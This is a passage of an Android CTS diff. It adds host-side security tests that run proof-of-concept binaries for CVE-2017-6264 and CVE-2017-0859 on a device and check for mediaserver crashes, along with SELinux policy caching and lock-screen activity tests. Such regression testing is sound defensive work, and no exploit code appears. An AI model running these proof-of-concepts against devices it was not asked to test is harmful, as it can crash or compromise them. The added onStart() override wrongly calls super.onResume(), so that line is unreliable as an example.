+ "/sys/devices/virtual/thermal/cooling_device2/cur_state")) {
+ AdbUtils.runPocNoOutput("CVE-2017-6264", getDevice(), 60);
+ }
+ }
+
+ /**
+ * b/36075131
+ */
+ @SecurityTest
+ public void testPocCVE_2017_0859() throws Exception {
+ AdbUtils.runCommandLine("logcat -c", getDevice());
+ AdbUtils.pushResource("/cve_2017_0859.mp4", "/sdcard/cve_2017_0859.mp4", getDevice());
+ AdbUtils.runCommandLine("am start -a android.intent.action.VIEW " +
+ "-d file:///sdcard/cve_2017_0859.mp4" +
+ " -t audio/amr", getDevice());
+ // Wait for intent to be processed before checking logcat
+ Thread.sleep(5000);
+ String logcat = AdbUtils.runCommandLine("logcat -d", getDevice());
+ assertNotMatches("[\\s\\n\\S]*Fatal signal 11 \\(SIGSEGV\\)" +
+ "[\\s\\n\\S]*>>> /system/bin/" +
+ "mediaserver <<<[\\s\\n\\S]*", logcat);
+ }
+}
diff --git a/hostsidetests/security/src/android/security/cts/SELinuxHostTest.java b/hostsidetests/security/src/android/security/cts/SELinuxHostTest.java
index cff9ef9..fb09788 100644
--- a/hostsidetests/security/src/android/security/cts/SELinuxHostTest.java
+++ b/hostsidetests/security/src/android/security/cts/SELinuxHostTest.java
@@ -46,6 +46,7 @@
import java.util.HashMap;
import java.util.HashSet;
import java.util.List;
+import java.util.Map;
import java.util.regex.Matcher;
import java.util.regex.Pattern;
import java.util.Scanner;
@@ -60,6 +61,8 @@
*/
public class SELinuxHostTest extends DeviceTestCase implements IBuildReceiver, IDeviceTest {
+ private static final Map<ITestDevice, File> cachedDevicePolicyFiles = new HashMap<>(1);
+
private File sepolicyAnalyze;
private File checkSeapp;
private File checkFc;
@@ -133,10 +136,33 @@
sepolicyAnalyze = buildHelper.getTestFile("sepolicy-analyze");
sepolicyAnalyze.setExecutable(true);
- /* obtain sepolicy file from running device */
- devicePolicyFile = File.createTempFile("sepolicy", ".tmp");
- devicePolicyFile.deleteOnExit();
- mDevice.pullFile("/sys/fs/selinux/policy", devicePolicyFile);
+ devicePolicyFile = getDevicePolicyFile(mDevice);
+ }
+
+ // NOTE: cts/tools/selinux depends on this method. Rename/change with caution.
+ /**
+ * Returns the host-side file containing the SELinux policy of the device under test.
+ */
+ public static File getDevicePolicyFile(ITestDevice device) throws Exception {
+ // IMPLEMENTATION DETAILS: We cache the host-side policy file on per-device basis (in case
+ // CTS supports running against multiple devices at the same time). HashMap is used instead
+ // of WeakHashMap because in the grand scheme of things, keeping ITestDevice and
+ // corresponding File objects from being garbage-collected is not a big deal in CTS. If this
+ // becomes a big deal, this can be switched to WeakHashMap.
+ File file;
+ synchronized (cachedDevicePolicyFiles) {
+ file = cachedDevicePolicyFiles.get(device);
+ }
+ if (file != null) {
+ return file;
+ }
+ file = File.createTempFile("sepolicy", ".tmp");
+ file.deleteOnExit();
+ device.pullFile("/sys/fs/selinux/policy", file);
+ synchronized (cachedDevicePolicyFiles) {
+ cachedDevicePolicyFiles.put(device, file);
+ }
+ return file;
}
/**
@@ -241,7 +267,7 @@
*/
public static boolean isFullTrebleDevice(ITestDevice device)
throws DeviceNotAvailableException {
- return PropertyUtil.getFirstApiLevel(device) > 25;
+ return PropertyUtil.getFirstApiLevel(device) > 26;
}
private boolean isFullTrebleDevice() throws DeviceNotAvailableException {
diff --git a/hostsidetests/security/src/android/security/cts/SecurityTestCase.java b/hostsidetests/security/src/android/security/cts/SecurityTestCase.java
index aa26aa5..b6d647a 100644
--- a/hostsidetests/security/src/android/security/cts/SecurityTestCase.java
+++ b/hostsidetests/security/src/android/security/cts/SecurityTestCase.java
@@ -20,6 +20,7 @@
import com.android.tradefed.device.ITestDevice;
import com.android.tradefed.device.NativeDevice;
import com.android.tradefed.testtype.DeviceTestCase;
+import com.android.tradefed.log.LogUtil.CLog;
import java.util.regex.Pattern;
@@ -42,10 +43,28 @@
}
/**
- * Use {@link NativeDevice#enableAdbRoot()} internally.
+ * Allows a CTS test to pass if called after a planned reboot.
*/
- public void enableAdbRoot(ITestDevice mDevice) throws DeviceNotAvailableException {
- mDevice.enableAdbRoot();
+ public void updateKernelStartTime() throws Exception {
+ String cmdOut = getDevice().executeShellCommand("dumpsys meminfo");
+ long uptime = Long.parseLong(cmdOut.substring(cmdOut.indexOf("Uptime: ") + 8,
+ cmdOut.indexOf("Realtime: ") - 1))/1000;
+ kernelStartTime = System.currentTimeMillis()/1000 - uptime;
+ }
+
+ /**
+ * Use {@link NativeDevice#enableAdbRoot()} internally.
+ *
+ * The test methods calling this function should run even if enableAdbRoot fails, which is why
+ * the return value is ignored. However, we may want to act on that data point in the future.
+ */
+ public boolean enableAdbRoot(ITestDevice mDevice) throws DeviceNotAvailableException {
+ if(mDevice.enableAdbRoot()) {
+ return true;
+ } else {
+ CLog.w("\"enable-root\" set to false! Root is required to check if device is vulnerable.");
+ return false;
+ }
}
/**
diff --git a/hostsidetests/services/activityandwindowmanager/activitymanager/Android.mk b/hostsidetests/services/activityandwindowmanager/activitymanager/Android.mk
index 3a50232..1761ba6 100644
--- a/hostsidetests/services/activityandwindowmanager/activitymanager/Android.mk
+++ b/hostsidetests/services/activityandwindowmanager/activitymanager/Android.mk
@@ -25,12 +25,13 @@
LOCAL_JAVA_LIBRARIES := cts-tradefed tradefed
LOCAL_STATIC_JAVA_LIBRARIES := cts-amwm-util \
- platform-test-annotations-host
+ cts-display-service-app-util \
+ platform-test-annotations-host
LOCAL_CTS_TEST_PACKAGE := android.server
# Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
include $(BUILD_CTS_HOST_JAVA_LIBRARY)
diff --git a/hostsidetests/services/activityandwindowmanager/activitymanager/AndroidTest.xml b/hostsidetests/services/activityandwindowmanager/activitymanager/AndroidTest.xml
index 9e394951..52b8d55 100644
--- a/hostsidetests/services/activityandwindowmanager/activitymanager/AndroidTest.xml
+++ b/hostsidetests/services/activityandwindowmanager/activitymanager/AndroidTest.xml
@@ -20,11 +20,13 @@
<option name="test-file-name" value="CtsDeviceServicesTestApp.apk" />
<option name="test-file-name" value="CtsDeviceServicesTestSecondApp.apk" />
<option name="test-file-name" value="CtsDeviceServicesTestThirdApp.apk" />
+ <option name="test-file-name" value="CtsDeviceDebuggableApp.apk" />
<option name="test-file-name" value="CtsDeviceDisplaySizeApp.apk" />
+ <option name="test-file-name" value="CtsDisplayServiceApp.apk" />
<option name="test-file-name" value="CtsDeviceTranslucentTestApp.apk" />
</target_preparer>
<test class="com.android.compatibility.common.tradefed.testtype.JarHostTest" >
<option name="jar" value="CtsServicesHostTestCases.jar" />
- <option name="runtime-hint" value="4m7s" />
+ <option name="runtime-hint" value="4m44s" />
</test>
</configuration>
diff --git a/hostsidetests/services/activityandwindowmanager/activitymanager/app/Android.mk b/hostsidetests/services/activityandwindowmanager/activitymanager/app/Android.mk
index 2633c0a..67f2248 100644
--- a/hostsidetests/services/activityandwindowmanager/activitymanager/app/Android.mk
+++ b/hostsidetests/services/activityandwindowmanager/activitymanager/app/Android.mk
@@ -28,7 +28,7 @@
LOCAL_SDK_VERSION := test_current
# Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
LOCAL_PACKAGE_NAME := CtsDeviceServicesTestApp
diff --git a/hostsidetests/services/activityandwindowmanager/activitymanager/app/AndroidManifest.xml b/hostsidetests/services/activityandwindowmanager/activitymanager/app/AndroidManifest.xml
index f0fc0ac..6f70b62 100755
--- a/hostsidetests/services/activityandwindowmanager/activitymanager/app/AndroidManifest.xml
+++ b/hostsidetests/services/activityandwindowmanager/activitymanager/app/AndroidManifest.xml
@@ -53,6 +53,7 @@
/>
<activity android:name=".ResizeableActivity"
android:resizeableActivity="true"
+ android:allowEmbedded="true"
android:exported="true"
android:configChanges="orientation|screenSize|smallestScreenSize|screenLayout|colorMode|density"
/>
@@ -361,6 +362,45 @@
android:noHistory="true"
android:exported="true" />
+ <activity android:name=".ShowWhenLockedAttrActivity"
+ android:showWhenLocked="true"
+ android:exported="true" />
+
+ <activity android:name=".ShowWhenLockedAttrRemoveAttrActivity"
+ android:showWhenLocked="true"
+ android:exported="true" />
+
+ <activity android:name=".ShowWhenLockedAttrWithDialogActivity"
+ android:showWhenLocked="true"
+ android:exported="true" />
+
+ <activity android:name=".TurnScreenOnAttrActivity"
+ android:turnScreenOn="true"
+ android:exported="true" />
+
+ <activity android:name=".TurnScreenOnShowOnLockActivity"
+ android:showWhenLocked="true"
+ android:turnScreenOn="true"
+ android:exported="true" />
+
+ <activity android:name=".TurnScreenOnAttrRemoveAttrActivity"
+ android:turnScreenOn="true"
+ android:showWhenLocked="true"
+ android:exported="true" />
+
+ <activity android:name=".TurnScreenOnSingleTaskActivity"
+ android:turnScreenOn="true"
+ android:showWhenLocked="true"
+ android:exported="true"
+ android:launchMode="singleTask" />
+
+ <activity android:name=".TurnScreenOnAttrDismissKeyguardActivity"
+ android:turnScreenOn="true"
+ android:exported="true"/>
+
+ <activity android:name=".TurnScreenOnWithRelayoutActivity"
+ android:exported="true"/>
+
<service android:name="com.android.cts.verifier.vr.MockVrListenerService"
android:exported="true"
android:enabled="true"
diff --git a/hostsidetests/services/activityandwindowmanager/activitymanager/app/src/android/server/cts/AbstractLifecycleLogActivity.java b/hostsidetests/services/activityandwindowmanager/activitymanager/app/src/android/server/cts/AbstractLifecycleLogActivity.java
index 333e0d2..9d29917 100644
--- a/hostsidetests/services/activityandwindowmanager/activitymanager/app/src/android/server/cts/AbstractLifecycleLogActivity.java
+++ b/hostsidetests/services/activityandwindowmanager/activitymanager/app/src/android/server/cts/AbstractLifecycleLogActivity.java
@@ -34,6 +34,12 @@
}
@Override
+ protected void onStart() {
+ super.onResume();
+ Log.i(getTag(), "onStart");
+ }
+
+ @Override
protected void onResume() {
super.onResume();
Log.i(getTag(), "onResume");
diff --git a/hostsidetests/services/activityandwindowmanager/activitymanager/app/src/android/server/cts/AssistantActivity.java b/hostsidetests/services/activityandwindowmanager/activitymanager/app/src/android/server/cts/AssistantActivity.java
index e762953..18f290f 100644
--- a/hostsidetests/services/activityandwindowmanager/activitymanager/app/src/android/server/cts/AssistantActivity.java
+++ b/hostsidetests/services/activityandwindowmanager/activitymanager/app/src/android/server/cts/AssistantActivity.java
@@ -33,8 +33,6 @@
public static final String EXTRA_FINISH_SELF = "finish_self";
// Attempts to enter picture-in-picture in onResume
public static final String EXTRA_ENTER_PIP = "enter_pip";
- // Display on which Assistant runs
- public static final String EXTRA_ASSISTANT_DISPLAY_ID = "assistant_display_id";
@Override
protected void onCreate(Bundle savedInstanceState) {
@@ -49,14 +47,7 @@
i.setComponent(new ComponentName(this, getPackageName() + "."
+ getIntent().getStringExtra(EXTRA_LAUNCH_NEW_TASK)));
i.setFlags(Intent.FLAG_ACTIVITY_NEW_TASK | Intent.FLAG_ACTIVITY_CLEAR_TASK);
- if (getIntent().hasExtra(EXTRA_ASSISTANT_DISPLAY_ID)) {
- ActivityOptions displayOptions = ActivityOptions.makeBasic();
- displayOptions.setLaunchDisplayId(Integer.parseInt(getIntent()
- .getStringExtra(EXTRA_ASSISTANT_DISPLAY_ID)));
- startActivity(i, displayOptions.toBundle());
- } else {
- startActivity(i);
- }
+ startActivity(i);
}
// Enter pip if requested
diff --git a/hostsidetests/services/activityandwindowmanager/activitymanager/app/src/android/server/cts/LaunchBroadcastReceiver.java b/hostsidetests/services/activityandwindowmanager/activitymanager/app/src/android/server/cts/LaunchBroadcastReceiver.java
index 2ec417f..6e713ec 100644
--- a/hostsidetests/services/activityandwindowmanager/activitymanager/app/src/android/server/cts/LaunchBroadcastReceiver.java
+++ b/hostsidetests/services/activityandwindowmanager/activitymanager/app/src/android/server/cts/LaunchBroadcastReceiver.java
@@ -20,11 +20,18 @@
import android.content.Context;
import android.content.Intent;
import android.server.cts.tools.ActivityLauncher;
+import android.util.Log;
/** Broadcast receiver that can launch activities. */
public class LaunchBroadcastReceiver extends BroadcastReceiver {
+ private static final String TAG = LaunchBroadcastReceiver.class.getSimpleName();
+
@Override
public void onReceive(Context context, Intent intent) {
- ActivityLauncher.launchActivityFromExtras(context, intent.getExtras());
+ try {
+ ActivityLauncher.launchActivityFromExtras(context, intent.getExtras());
+ } catch (SecurityException e) {
+ Log.e(TAG, "SecurityException launching activity");
+ }
}
}
diff --git a/hostsidetests/services/activityandwindowmanager/activitymanager/app/src/android/server/cts/ShowWhenLockedAttrActivity.java b/hostsidetests/services/activityandwindowmanager/activitymanager/app/src/android/server/cts/ShowWhenLockedAttrActivity.java
new file mode 100644
index 0000000..c53c485
--- /dev/null
+++ b/hostsidetests/services/activityandwindowmanager/activitymanager/app/src/android/server/cts/ShowWhenLockedAttrActivity.java
@@ -0,0 +1,27 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License
+ */
+
+package android.server.cts;
+
+public class ShowWhenLockedAttrActivity extends AbstractLifecycleLogActivity {
+ private static final String TAG = ShowWhenLockedAttrActivity.class.getSimpleName();
+
+ @Override
+ protected String getTag() {
+ return TAG;
+ }
+
+}
diff --git a/hostsidetests/services/activityandwindowmanager/activitymanager/app/src/android/server/cts/ShowWhenLockedAttrRemoveAttrActivity.java b/hostsidetests/services/activityandwindowmanager/activitymanager/app/src/android/server/cts/ShowWhenLockedAttrRemoveAttrActivity.java
new file mode 100644
index 0000000..dbad34d
--- /dev/null
+++ b/hostsidetests/services/activityandwindowmanager/activitymanager/app/src/android/server/cts/ShowWhenLockedAttrRemoveAttrActivity.java
@@ -0,0 +1,35 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License
+ */
+
+package android.server.cts;
+
+import android.os.Bundle;
+
+public class ShowWhenLockedAttrRemoveAttrActivity extends AbstractLifecycleLogActivity {
+ private static final String TAG = ShowWhenLockedAttrRemoveAttrActivity.class.getSimpleName();
+
+ @Override
+ protected void onStop() {
+ super.onStop();
+ setShowWhenLocked(false);
+ }
+
+ @Override
+ protected String getTag() {
+ return TAG;
+ }
+
+}
diff --git a/hostsidetests/services/activityandwindowmanager/activitymanager/app/src/android/server/cts/ShowWhenLockedAttrWithDialogActivity.java b/hostsidetests/services/activityandwindowmanager/activitymanager/app/src/android/server/cts/ShowWhenLockedAttrWithDialogActivity.java
new file mode 100644
index 0000000..136706a
--- /dev/null
+++ b/hostsidetests/services/activityandwindowmanager/activitymanager/app/src/android/server/cts/ShowWhenLockedAttrWithDialogActivity.java
@@ -0,0 +1,33 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License
+ */
+
+package android.server.cts;
+
+import android.app.Activity;
+import android.app.AlertDialog;
+import android.os.Bundle;
+import android.view.WindowManager;
+
+public class ShowWhenLockedAttrWithDialogActivity extends Activity {
+
+ @Override
+ protected void onCreate(Bundle savedInstanceState) {
+ super.onCreate(savedInstanceState);
+ new AlertDialog.Builder(this)
+ .setTitle("Dialog")
+ .show();
+ }
+}
diff --git a/hostsidetests/services/activityandwindowmanager/activitymanager/app/src/android/server/cts/TurnScreenOnAttrActivity.java b/hostsidetests/services/activityandwindowmanager/activitymanager/app/src/android/server/cts/TurnScreenOnAttrActivity.java
new file mode 100644
index 0000000..5e1f5d1
--- /dev/null
+++ b/hostsidetests/services/activityandwindowmanager/activitymanager/app/src/android/server/cts/TurnScreenOnAttrActivity.java
@@ -0,0 +1,26 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License
+ */
+
+package android.server.cts;
+
+public class TurnScreenOnAttrActivity extends AbstractLifecycleLogActivity {
+ private static final String TAG = TurnScreenOnAttrActivity.class.getSimpleName();
+
+ @Override
+ protected String getTag() {
+ return TAG;
+ }
+}
diff --git a/hostsidetests/services/activityandwindowmanager/activitymanager/app/src/android/server/cts/TurnScreenOnAttrDismissKeyguardActivity.java b/hostsidetests/services/activityandwindowmanager/activitymanager/app/src/android/server/cts/TurnScreenOnAttrDismissKeyguardActivity.java
new file mode 100644
index 0000000..b1b860f
--- /dev/null
+++ b/hostsidetests/services/activityandwindowmanager/activitymanager/app/src/android/server/cts/TurnScreenOnAttrDismissKeyguardActivity.java
@@ -0,0 +1,36 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License
+ */
+
+package android.server.cts;
+
+import android.app.KeyguardManager;
+import android.os.Bundle;
+
+public class TurnScreenOnAttrDismissKeyguardActivity extends AbstractLifecycleLogActivity {
+ private static final String TAG = TurnScreenOnAttrDismissKeyguardActivity.class.getSimpleName();
+
+ @Override
+ protected void onCreate(Bundle icicle) {
+ super.onCreate(icicle);
+ ((KeyguardManager) getSystemService(KEYGUARD_SERVICE))
+ .requestDismissKeyguard(this, new KeyguardDismissLoggerCallback(this));
+ }
+
+ @Override
+ protected String getTag() {
+ return TAG;
+ }
+}
diff --git a/hostsidetests/services/activityandwindowmanager/activitymanager/app/src/android/server/cts/TurnScreenOnAttrRemoveAttrActivity.java b/hostsidetests/services/activityandwindowmanager/activitymanager/app/src/android/server/cts/TurnScreenOnAttrRemoveAttrActivity.java
new file mode 100644
index 0000000..29911fe
--- /dev/null
+++ b/hostsidetests/services/activityandwindowmanager/activitymanager/app/src/android/server/cts/TurnScreenOnAttrRemoveAttrActivity.java
@@ -0,0 +1,32 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License
+ */
+
+package android.server.cts;
+
+public class TurnScreenOnAttrRemoveAttrActivity extends AbstractLifecycleLogActivity {
+ private static final String TAG = TurnScreenOnAttrRemoveAttrActivity.class.getSimpleName();
+
+ @Override
+ protected void onStop() {
+ super.onStop();
+ setTurnScreenOn(false);
+ }
+
+ @Override
+ protected String getTag() {
+ return TAG;
+ }
+}
diff --git a/hostsidetests/services/activityandwindowmanager/activitymanager/app/src/android/server/cts/TurnScreenOnShowOnLockActivity.java b/hostsidetests/services/activityandwindowmanager/activitymanager/app/src/android/server/cts/TurnScreenOnShowOnLockActivity.java
new file mode 100644
index 0000000..57ff4fb
--- /dev/null
+++ b/hostsidetests/services/activityandwindowmanager/activitymanager/app/src/android/server/cts/TurnScreenOnShowOnLockActivity.java
@@ -0,0 +1,26 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License
+ */
+
+package android.server.cts;
+
+public class TurnScreenOnShowOnLockActivity extends AbstractLifecycleLogActivity {
+ private static final String TAG = TurnScreenOnShowOnLockActivity.class.getSimpleName();
+
+ @Override
+ protected String getTag() {
+ return TAG;
+ }
+}
diff --git a/hostsidetests/services/activityandwindowmanager/activitymanager/app/src/android/server/cts/TurnScreenOnSingleTaskActivity.java b/hostsidetests/services/activityandwindowmanager/activitymanager/app/src/android/server/cts/TurnScreenOnSingleTaskActivity.java
new file mode 100644
index 0000000..29c71d0
--- /dev/null
+++ b/hostsidetests/services/activityandwindowmanager/activitymanager/app/src/android/server/cts/TurnScreenOnSingleTaskActivity.java
@@ -0,0 +1,26 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License
+ */
+
+package android.server.cts;
+
+public class TurnScreenOnSingleTaskActivity extends AbstractLifecycleLogActivity {
+ private static final String TAG = TurnScreenOnSingleTaskActivity.class.getSimpleName();
+
+ @Override
+ protected String getTag() {
+ return TAG;
+ }
+}
diff --git a/hostsidetests/services/activityandwindowmanager/activitymanager/app/src/android/server/cts/TurnScreenOnWithRelayoutActivity.java b/hostsidetests/services/activityandwindowmanager/activitymanager/app/src/android/server/cts/TurnScreenOnWithRelayoutActivity.java
new file mode 100644
index 0000000..14c2801
--- /dev/null
+++ b/hostsidetests/services/activityandwindowmanager/activitymanager/app/src/android/server/cts/TurnScreenOnWithRelayoutActivity.java
@@ -0,0 +1,43 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License
+ */
+
+package android.server.cts;
+import android.view.WindowManager;
+
+public class TurnScreenOnWithRelayoutActivity extends AbstractLifecycleLogActivity {
+ private static final String TAG = TurnScreenOnWithRelayoutActivity.class.getSimpleName();
+
+ @Override
+ protected String getTag() {
+ return TAG;
+ }
+
+ @Override
+ protected void onStart() {
+ super.onStart();
+ getWindow().addFlags(WindowManager.LayoutParams.FLAG_SHOW_WHEN_LOCKED
+ | WindowManager.LayoutParams.FLAG_TURN_SCREEN_ON);
+ }
+
+ @Override
+ protected void onStop() {
+ super.onStop();
+
+ // This is to force a relayout, specifically with insets changed. When the insets are
+ // changed, it will trigger a performShow that could turn the screen on.
+ getWindow().addFlags(WindowManager.LayoutParams.FLAG_FULLSCREEN);
+ }
+}
diff --git a/hostsidetests/services/activityandwindowmanager/activitymanager/app/src/android/server/cts/VirtualDisplayActivity.java b/hostsidetests/services/activityandwindowmanager/activitymanager/app/src/android/server/cts/VirtualDisplayActivity.java
index 07edfac..dd12acb 100644
--- a/hostsidetests/services/activityandwindowmanager/activitymanager/app/src/android/server/cts/VirtualDisplayActivity.java
+++ b/hostsidetests/services/activityandwindowmanager/activitymanager/app/src/android/server/cts/VirtualDisplayActivity.java
@@ -41,6 +41,8 @@
private static final int DEFAULT_DENSITY_DPI = 160;
private static final String KEY_DENSITY_DPI = "density_dpi";
+ private static final String KEY_CAN_SHOW_WITH_INSECURE_KEYGUARD
+ = "can_show_with_insecure_keyguard";
private static final String KEY_PUBLIC_DISPLAY = "public_display";
private static final String KEY_RESIZE_DISPLAY = "resize_display";
private static final String KEY_LAUNCH_TARGET_ACTIVITY = "launch_target_activity";
@@ -167,13 +169,20 @@
int flags = 0;
+ final boolean canShowWithInsecureKeyguard
+ = entry.extras.getBoolean(KEY_CAN_SHOW_WITH_INSECURE_KEYGUARD);
+ if (canShowWithInsecureKeyguard) {
+ flags |= 1 << 5; // VIRTUAL_DISPLAY_FLAG_CAN_SHOW_WITH_INSECURE_KEYGUARD
+ }
+
final boolean publicDisplay = entry.extras.getBoolean(KEY_PUBLIC_DISPLAY);
if (publicDisplay) {
flags |= VIRTUAL_DISPLAY_FLAG_PUBLIC | VIRTUAL_DISPLAY_FLAG_OWN_CONTENT_ONLY;
}
Log.d(TAG, "createVirtualDisplay: " + width + "x" + height + ", dpi: "
- + densityDpi + ", publicDisplay=" + publicDisplay);
+ + densityDpi + ", canShowWithInsecureKeyguard=" + canShowWithInsecureKeyguard
+ + ", publicDisplay=" + publicDisplay);
try {
VirtualDisplay virtualDisplay = mDisplayManager.createVirtualDisplay(
"VirtualDisplay" + mVirtualDisplays.size(), width,
diff --git a/hostsidetests/services/activityandwindowmanager/activitymanager/app/src/android/server/cts/tools/ActivityLauncher.java b/hostsidetests/services/activityandwindowmanager/activitymanager/app/src/android/server/cts/tools/ActivityLauncher.java
index cac6bd6..15b55f5 100644
--- a/hostsidetests/services/activityandwindowmanager/activitymanager/app/src/android/server/cts/tools/ActivityLauncher.java
+++ b/hostsidetests/services/activityandwindowmanager/activitymanager/app/src/android/server/cts/tools/ActivityLauncher.java
@@ -81,6 +81,10 @@
newIntent.addFlags(FLAG_ACTIVITY_NEW_TASK | FLAG_ACTIVITY_MULTIPLE_TASK);
}
- context.startActivity(newIntent, options != null ? options.toBundle() : null);
+ try {
+ context.startActivity(newIntent, options != null ? options.toBundle() : null);
+ } catch (SecurityException e) {
+ Log.e(TAG, "SecurityException launching activity");
+ }
}
}
diff --git a/hostsidetests/services/activityandwindowmanager/activitymanager/appDebuggable/Android.mk b/hostsidetests/services/activityandwindowmanager/activitymanager/appDebuggable/Android.mk
new file mode 100644
index 0000000..ddb08a2
--- /dev/null
+++ b/hostsidetests/services/activityandwindowmanager/activitymanager/appDebuggable/Android.mk
@@ -0,0 +1,31 @@
+# Copyright (C) 2017 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+# http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+LOCAL_PATH:= $(call my-dir)
+
+include $(CLEAR_VARS)
+
+# don't include this package in any target
+LOCAL_MODULE_TAGS := optional
+
+LOCAL_SRC_FILES := $(call all-java-files-under, src)
+
+LOCAL_SDK_VERSION := test_current
+
+# Tag this module as a cts test artifact
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
+
+LOCAL_PACKAGE_NAME := CtsDeviceDebuggableApp
+
+include $(BUILD_CTS_SUPPORT_PACKAGE)
diff --git a/hostsidetests/services/activityandwindowmanager/activitymanager/appDebuggable/AndroidManifest.xml b/hostsidetests/services/activityandwindowmanager/activitymanager/appDebuggable/AndroidManifest.xml
new file mode 100644
index 0000000..c00f2b6
--- /dev/null
+++ b/hostsidetests/services/activityandwindowmanager/activitymanager/appDebuggable/AndroidManifest.xml
@@ -0,0 +1,31 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+ Copyright (C) 2017 The Android Open Source Project
+
+ Licensed under the Apache License, Version 2.0 (the "License");
+ you may not use this file except in compliance with the License.
+ You may obtain a copy of the License at
+
+ http://www.apache.org/licenses/LICENSE-2.0
+
+ Unless required by applicable law or agreed to in writing, software
+ distributed under the License is distributed on an "AS IS" BASIS,
+ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ See the License for the specific language governing permissions and
+ limitations under the License.
+-->
+
+<manifest xmlns:android="http://schemas.android.com/apk/res/android"
+ package="android.server.cts.debuggable">
+
+ <!--
+ * Security policy requires that only debuggable processes can be profiled
+ * which is tested by ActivityManagerAmProfileTests.
+ -->
+ <application android:debuggable="true">
+ <activity android:name=".DebuggableAppActivity"
+ android:resizeableActivity="true"
+ android:exported="true" />
+ </application>
+
+</manifest>
